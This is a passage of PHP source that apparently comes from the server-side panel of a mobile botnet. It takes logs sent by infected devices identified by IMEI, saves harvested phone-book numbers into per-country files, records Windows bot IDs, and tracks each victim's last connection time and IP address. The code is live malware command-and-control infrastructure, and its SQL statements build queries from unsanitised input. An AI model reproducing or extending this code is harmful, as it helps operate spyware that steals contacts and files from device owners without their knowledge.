","",$text_log); $ss = str_replace("Numbers from the phone book","Numbers from the phone book\n",$ss); $str_log = "$perehod$data_log: $ss$perehod"; file_put_contents($path_log, $str_log, FILE_APPEND); //--- if (preg_match("/Numbers from the phone book/",$text_log)) { $country = mb_substr($text_log, 0, 4); $ss = " Numbers from the phone book"; $text_num = str_replace("$country$ss","",$text_log); $country = str_replace(" ","",$country); if(preg_match('|^[A-Z0-9()]+$|i', $country)){ $path_nums = "../".namefolder."/application/datalogs/numers/$country.html"; $str_nums = "$text_num"; file_put_contents($path_nums, $str_nums, FILE_APPEND); } } //--- if (preg_match("/ID Windows Bot:/",$text_log)){ $getIdBotWindows = str_replace("ID Windows Bot:","",$text_log); $getIdBotWindows = str_replace(" ","",$getIdBotWindows); $connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD); $connection2->exec('SET NAMES utf8'); $statement2 = $connection2->prepare("SELECT * FROM idbotwindows WHERE idbot='$getIdBotWindows'"); $statement2->execute([$getIdBotWindows]); $isIdBotWin = false; foreach($statement2 as $row){ if($row['idbot']=="$getIdBotWindows"){ $isIdBotWin=true; } } if(!$isIdBotWin){ $statement2 = $connection2->prepare("insert into idbotwindows (idbot) value ('$getIdBotWindows')"); $statement2->execute(array($getIdBotWindows)); } } //--- $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD); $connection->exec('SET NAMES utf8'); $data_ = date('Y-m-d H:i:s'); $ipbot = GetIP(); $statement = $connection->prepare("UPDATE kliets SET lastConnect = '$data_', ip = '$ipbot' WHERE IMEI = '$IMEI_log'"); $statement->execute(array($data_, $IMEI_log, $ipbot)); $statement = $connection->prepare("SELECT log,IMEI FROM kliets WHERE IMEI='$IMEI_log'"); $statement->execute([$IMEI_log]); foreach($statement as $row){ if($row['log']!='2'){ $statement = $connection->prepare("UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log'"); $statement->execute([$IMEI_log]); break; } } if (preg_match("/Found files by signatures:/",$text_log)) { $statement = $connection->prepare("UPDATE kliets SET log = '2' WHERE IMEI = '$IMEI_log'"); $statement->execute([$IMEI_log]); } } echo "||ok||"; } function GetIP() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } ?>